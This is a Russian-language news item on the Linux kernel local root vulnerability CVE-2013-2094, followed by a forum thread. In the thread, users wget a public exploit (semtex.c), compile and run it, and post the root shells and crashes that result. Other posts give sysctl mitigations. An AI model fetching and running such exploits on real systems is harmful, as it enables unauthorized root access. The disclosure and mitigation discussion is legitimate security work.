В ядре Linux обнаружена ранее неизвестная 0-day уязвимость (CVE-2013-2094), позволяющая получить root-доступ произвольному пользователю. Проблему усложняет то, что ошибка существовала на протяжении последних 2-3 лет и присутствует во всех ядрах, начиная с 2.6.37 и включая 3.8.8 (ядра 3.9.x проблеме не подвержены).

Уязвимость вызвана ошибкой в коде подсистемы PERF_EVENTS, которая должна быть активирована для успешной эксплуатации уязвимости (в большинстве дистрибутивов ядро собрано с поддержкой PERF_EVENTS). Пользователи RHEL 6 и CentOS 6, несмотря на использование ядра 2.6.32, не застрахованы от данной ошибки - проблемный код был успешно бэкпортирван Red Hat в пакет с ядром, поставляемом в RHEL.

Патч с устранением проблемы был принят в состав ядра 3.8.9 в апреле, без уведомления о том, что он связан с устранением уязвимости.  В дистрибутивах уязвимость пока остаётся неисправленной. Статус выхода исправлений для популярных систем можно отследить на следующих страницах:  Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL, Ubuntu, Debian.

Эксплоит уже доступен публично:

   bash-4.1# gcc -O2 exploit.c
   bash-4.1# chmod 777 a.out
   bash-4.1# su nobody -s /bin/bash
   bash-4.1$ id
   uid=99(nobody) gid=99(nobody) groups=99(nobody)

   bash-4.1$ cd /
   bash-4.1$ ls
   a.out  bin  boot  dev  etc  exploit.c  home  lib  lib64  media....
  
   bash-4.1$ ./a.out
   2.6.37-3.x x86_64

   sh-4.1# id
   uid=0(root) gid=0(root) groups=0(root),99(nobody)

Источник »
Главная ссылка к новости »

Был, был и весь вышел...

2

у кого-нить взлетел?

95% процентов проблем находятся между клавиатурой и стулом.

3

Fat-Zer пишет:

у кого-нить взлетел?

Я не пробовал ag

Истинный hotplug - это обычная электрическая розетка: воткнул - работает, и никаких драйверов.
Arch Linux/Xfce/Xiaomi Mi Notebook Pro 15.6 | Slackware64-current/Xfce/Lenovo G580

4

нет

Trouble  in WINDOWS reboot, trouble in UNIX be root.

5

а у меня завелось под виртуалкой =))
а на железке в панику сваливается .>_<

95% процентов проблем находятся между клавиатурой и стулом.

6

$ gcc -O2 semtex.c 
semtex.c: В функции «[color=red][b]Кю[/b][/color]»:
semtex.c:30:36: предупреждение: приведение указателя к целому другого размера [-Wpointer-to-int-cast]
semtex.c:30:22: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]
semtex.c:31:20: предупреждение: приведение указателя к целому другого размера [-Wpointer-to-int-cast]
semtex.c:37:17: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]
semtex.c: В функции «main»:
semtex.c:74:2: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]
semtex.c:74:2: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]
~/downloads$ chmod 777 a.out 
~/downloads$ a.out
-bash: ./a.out: Отказано в доступе
~/downloads$ sh a.out
a.out: a.out: не могу запустить бинарный файл
~/downloads$ cp a.out ~
~/downloads$ cd
~$ ./a.out 
a.out: semtex.c:51: sheep: Assertion `!close(fd)' failed.
Аварийный останов
~$ 

На ФС с noexec фигу, от пользователя из домашнего каталога - падает. Хороший эксплоит ab

Истинный hotplug - это обычная электрическая розетка: воткнул - работает, и никаких драйверов.
Arch Linux/Xfce/Xiaomi Mi Notebook Pro 15.6 | Slackware64-current/Xfce/Lenovo G580

7

drhouse123@gentoo ~ $ gcc -O2 -o semtex semtex.c 
drhouse123@gentoo ~ $ ./semtex 2.6.37-3.x x86_64
2.6.37-3.x x86_64
sd@fucksheep.org 2010
gentoo ~ # whoami
root
Linux gentoo 3.7.10-gentoo-r1 #1 SMP Fri May 10 05:48:51 ALMT 2013 x86_64 Pentium(R) Dual-Core CPU E6500 @ 2.93GHz GenuineIntel GNU/Linux
zcat /proc/config.gz | grep PERF_EVENTS
CONFIG_HAVE_PERF_EVENTS=y
CONFIG_PERF_EVENTS=y
CONFIG_HAVE_PERF_EVENTS_NMI=y
Gentoo Linux amd64 kernel 3.10.17 KDE 4.10.5 / Intel Dualcore E6500 2.93Ghz / 4 GB Ram / NV GT 630 2048mb GDDR3
Полет нормальный!

8 (15.05.2013 18:56:42 отредактировано Fat-Zer)

yars⇓ пишет:

semtex.c:74:2: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]
semtex.c:74:2: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]

багу подвержен только amd64

yars⇓ пишет:

На ФС с noexec фигу

ССЗБ

95% процентов проблем находятся между клавиатурой и стулом.

9

Fat-Zer пишет:

багу подвержен только amd64

bp

Fat-Zer пишет:

ССЗБ

Почему же, noexec - это нормальная мера предосторожности bx

Истинный hotplug - это обычная электрическая розетка: воткнул - работает, и никаких драйверов.
Arch Linux/Xfce/Xiaomi Mi Notebook Pro 15.6 | Slackware64-current/Xfce/Lenovo G580

10

yars⇓ пишет:

Почему же, noexec - это нормальная мера предосторожности

с ним даже эксплойты не работают...

на самом деле, безопасность только мимая т.к., например, с /var/tmp почти всегда можно что-то запустить...

95% процентов проблем находятся между клавиатурой и стулом.

11

Fat-Zer пишет:

с ним даже эксплойты не работают...

Да, я в курсе, что

sh script

никто не отменял, но и вреда от этой опции тоже нет, а вот польза - таки есть.

Истинный hotplug - это обычная электрическая розетка: воткнул - работает, и никаких драйверов.
Arch Linux/Xfce/Xiaomi Mi Notebook Pro 15.6 | Slackware64-current/Xfce/Lenovo G580

12

Вот и моя «грустная» история...

lupo@gentoo-home ~ % uname -r
3.7.10-gentoo-r1a
lupo@gentoo-home ~ % cd /tmp
lupo@gentoo-home /tmp % wget http://dl.packetstormsecurity.net/1305-exploits/semtex.c
--2013-05-15 21:59:17--  http://dl.packetstormsecurity.net/1305-exploits/semtex.c
Распознаётся dl.packetstormsecurity.net... 198.84.60.200
Подключение к dl.packetstormsecurity.net|198.84.60.200|:80... соединение установлено.
HTTP-запрос отправлен. Ожидание ответа... 200 OK
Длина: 2437 (2,4K) [text/x-csrc]
Сохранение в: «semtex.c»

100%[===================================================================================================>] 2 437       --.-K/s   за 0,001s  

2013-05-15 21:59:17 (1,68 MB/s) - «semtex.c» сохранён [2437/2437]

lupo@gentoo-home /tmp % gcc -O2 semtex.c
lupo@gentoo-home /tmp % ./a.out
2.6.37-3.x x86_64
sd@fucksheep.org 2010
gentoo-home tmp # id
uid=0(root) gid=0(root) группы=0(root),10(wheel),18(audio),27(video),35(games),85(usb),100(users),121(davfs2),250(portage),1000(lupo)

...со «счастливым» концом

gentoo-home tmp # sysctl -w kernel.perf_event_paranoid=2                                                                                     
kernel.perf_event_paranoid = 2
gentoo-home tmp # sysctl -w kernel.perf_event_max_sample_rate=-1                                                                             
kernel.perf_event_max_sample_rate = -1
gentoo-home tmp # exit
logout
lupo@gentoo-home /tmp % ./a.out
a.out: semtex.c:51: sheep: Assertion `!close(fd)' failed.
[1]    31596 abort      ./a.out
Был, был и весь вышел...

13

yars⇓ пишет:

sh script

с бинарником такое не пройдёт... а вот в /var/tmp закинуть его запросто...

95% процентов проблем находятся между клавиатурой и стулом.

14

Lupo Alberto пишет:

...ошибка... присутствует во всех ядрах, начиная... и включая 3.8.8 (ядра 3.9.x проблеме не подвержены).

Что-то я не пойму откуда такие версии ядер - 3.8.8? У меня Mageia2, после установки всех обновлений ядро стоит 3.4.34 - на данный момент. А уж 3.9.x это вообще откуда? Сейчас вот третья Mageia вышла с ядром 3.8.13...
"ошибка... присутствует во всех ядрах" - это значит что всё? Капут? Уж извините дилетантку:)

15

lightwinter⇓ пишет:

Что-то я не пойму откуда такие версии ядер - 3.8.8? У меня Mageia2, после установки всех обновлений ядро стоит 3.4.34 - на данный момент. А уж 3.9.x это вообще откуда? Сейчас вот третья Mageia вышла с ядром 3.8.13...

Кроме Mageia есть и другие дистрибутивы bx

lightwinter⇓ пишет:

"ошибка... присутствует во всех ядрах" - это значит что всё? Капут?

Так вроде бы всё уже исправлено. Если ядро обновлять лень, можно просто добавить в файл /etc/sysctl.conf :

kernel.perf_event_paranoid=2
kernel.perf_event_max_sample_rate=-1

и перегрузиться или выполнить

sysctl -p
Был, был и весь вышел...

16

OpenSUSE12.2 ядро 3.4.6.2-10(х86-64) (Процессор AMD Athlon 64 3500+) не работает:

vvk@linux-enwc:~> wget [url]http://dl.packetstormsecurity.net/1305-exploits/semtex.c[/url]
--2013-05-20 11:10:28--  [url]http://dl.packetstormsecurity.net/1305-exploits/semtex.c[/url]
Распознаётся dl.packetstormsecurity.net (dl.packetstormsecurity.net)... 198.84.60.200
Подключение к dl.packetstormsecurity.net (dl.packetstormsecurity.net)|198.84.60.200|:80... соединение установлено.
HTTP-запрос отправлен. Ожидание ответа... 200 OK
Длина: 2437 (2,4K) [text/x-csrc]
Сохранение в каталог: ««semtex.c»».

100%[================================================================================================>] 2 437       --.-K/s   за 0,001s  

2013-05-20 11:10:28 (2,24 MB/s) - «semtex.c» saved [2437/2437]

vvk@linux-enwc:~> gcc -O2 semtex.c 
vvk@linux-enwc:~> ./a.out 
Убито
vvk@linux-enwc:~> uname -a
Linux linux-enwc 3.4.6-2.10-desktop #1 SMP PREEMPT Thu Jul 26 09:36:26 UTC 2012 (641c197) x86_64 x86_64 x86_64 GNU/Linux
vvk@linux-enwc:~> whoami
vvk
vvk@linux-enwc:~> id
uid=1000(vvk) gid=100(users) группы=100(users),16(dialout),33(video),110(vboxusers)
vvk@linux-enwc:~> cat /proc/cpuinfo|grep name
model name      : AMD Athlon(tm) 64 Processor 3500+
vvk@linux-enwc:~>

17

vvk
Так не на всех сборках работает проверьте у вас включено PERF_EVENTS?

zgrep CONFIG_PERF_EVENTS /proc/config.gz

А так если обновляться то баг уже не работает, в gentoo еще в апреле добавили патч убирающий данный баг во все версии ядер подверженные багу, в дереве портов.

18

Дополнения:

Эксплоит я тестировал на работе на стационарной машине,
Дома на ноутбуке (core i5,) при запуске скомпилированного a.out система
идёт на перезагрузку. На ноутбуке у меня PERF_EVENTS включено.
Для рабочего компьютера вывод по PERF_EVENTS покажу позже.

Вот вывод для ноутбука:

vvk@linux-bmx0:~> zgrep CONFIG_PERF_EVENTS /proc/config.gz
CONFIG_PERF_EVENTS=y
vvk@linux-bmx0:~> uname -a
Linux linux-bmx0 3.4.6-2.10-desktop #1 SMP PREEMPT Thu Jul 26 09:36:26 UTC 2012 (641c197) x86_64 x86_64 x86_64 GNU/Linux
vvk@linux-bmx0:~> cat /proc/cpuinfo|grep name
model name      : Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz
model name      : Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz
model name      : Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz
model name      : Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz
vvk@linux-bmx0:~>  

19

И вот результат после того как поправил файл /etc/sysctl.conf:

wget [url]http://dl.packetstormsecurity.net/1305-exploits/semtex.c[/url]
--2013-05-22 20:35:12--  [url]http://dl.packetstormsecurity.net/1305-exploits/semtex.c[/url]
Распознаётся dl.packetstormsecurity.net (dl.packetstormsecurity.net)... 198.84.60.200
Подключение к dl.packetstormsecurity.net (dl.packetstormsecurity.net)|198.84.60.200|:80... соединение установлено.
HTTP-запрос отправлен. Ожидание ответа... 200 OK
Длина: 2437 (2,4K) [text/x-csrc]
Сохранение в каталог: ««semtex.c»».

100%[=================================================================================>] 2 437       --.-K/s   за 0,001s  

2013-05-22 20:35:12 (3,87 MB/s) - «semtex.c» saved [2437/2437]

vvk@linux-bmx0:~> gcc -O2 semtex.c 
vvk@linux-bmx0:~> ./a.out 
a.out: semtex.c:51: sheep: Assertion `!close(fd)' failed.
Аварийный останов
vvk@linux-bmx0:~> id
uid=1000(vvk) gid=100(users) группы=100(users),16(dialout),33(video),112(vboxusers)
vvk@linux-bmx0:~> 

Больше не работает никак

20

В машине из поста #16, где эксплоит пишет "Убито" PERF_EVENTS тоже включено:

vvk@linux-enwc:~> zgrep CONFIG_PERF_EVENTS /proc/config.gz
CONFIG_PERF_EVENTS=y
vvk@linux-enwc:~>